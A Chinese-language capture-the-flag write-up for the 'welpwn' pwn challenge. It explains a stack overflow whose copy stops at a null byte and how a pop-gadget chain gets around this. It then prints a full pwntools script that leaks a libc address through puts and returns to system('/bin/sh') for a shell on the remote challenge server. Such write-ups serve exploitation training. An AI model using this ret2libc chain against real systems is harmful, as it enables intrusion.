攻防世界[pwn]welpwn
1.查看保护
没开金丝雀,再看看IDA
这里可以看到我们通过read输入的数据最终被传入到了v2中,可以通过echo这个函数经行栈溢出,但是如果直接通过函数,会发现程序异常终止,为什么呢这里是我一开始没想到的可以看看我的思路
2.
来看看这个函数,可以算出可以通过输入0x18个字符a来控制函数的返回地址,但是经过实践发现程序异常中断,为什么呢,原来我们最后输入的返回地址包含’\x00’这个终止符,导致函数读取到了这里就停止读取了,那该怎么办啊,可以发现这次函数溢出所需的字符很少那么想让它继续溢出,就可以通过函数调用前所压入的参数(也就是我们输入的v4)来继续执行我们的脚本,简单计算一下:0x18/8=3还要运行我们的代码所以还要加1,所以就要4个pop,如图
然后泄露地址就行,下面看payload
from pwn import *
from LibcSearcher import *
context.log_level='debug'
e = ELF('./81f42c219e81421ebfd1bedd19cf7eff')
io = remote('111.200.241.244',48537)
#io = process('./81f42c219e81421ebfd1bedd19cf7eff')
pop_di = 0x4008a3
pop4_ret = 0x40089c
io.recv()
pay = b'a'*0x18+p64(pop4_ret)+p64(pop_di)+p64(e.got['puts'])+p64(e.plt['puts'])+p64(e.symbols['main'])
io.sendline(pay)
p = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
log.info('puts ==> %#x',p)
io.recv()
libc = LibcSearcher('puts',p)
base = p - libc.dump('puts')
system_addr = base+libc.dump('system')
str_bin_sh_addr = base+libc.dump('str_bin_sh')
payload = b'a'*0x18+p64(pop4_ret)+p64(pop_di)+p64(str_bin_sh_addr)+p64(system_addr)
io.sendline(payload)
io.interactive()
下面是执行情况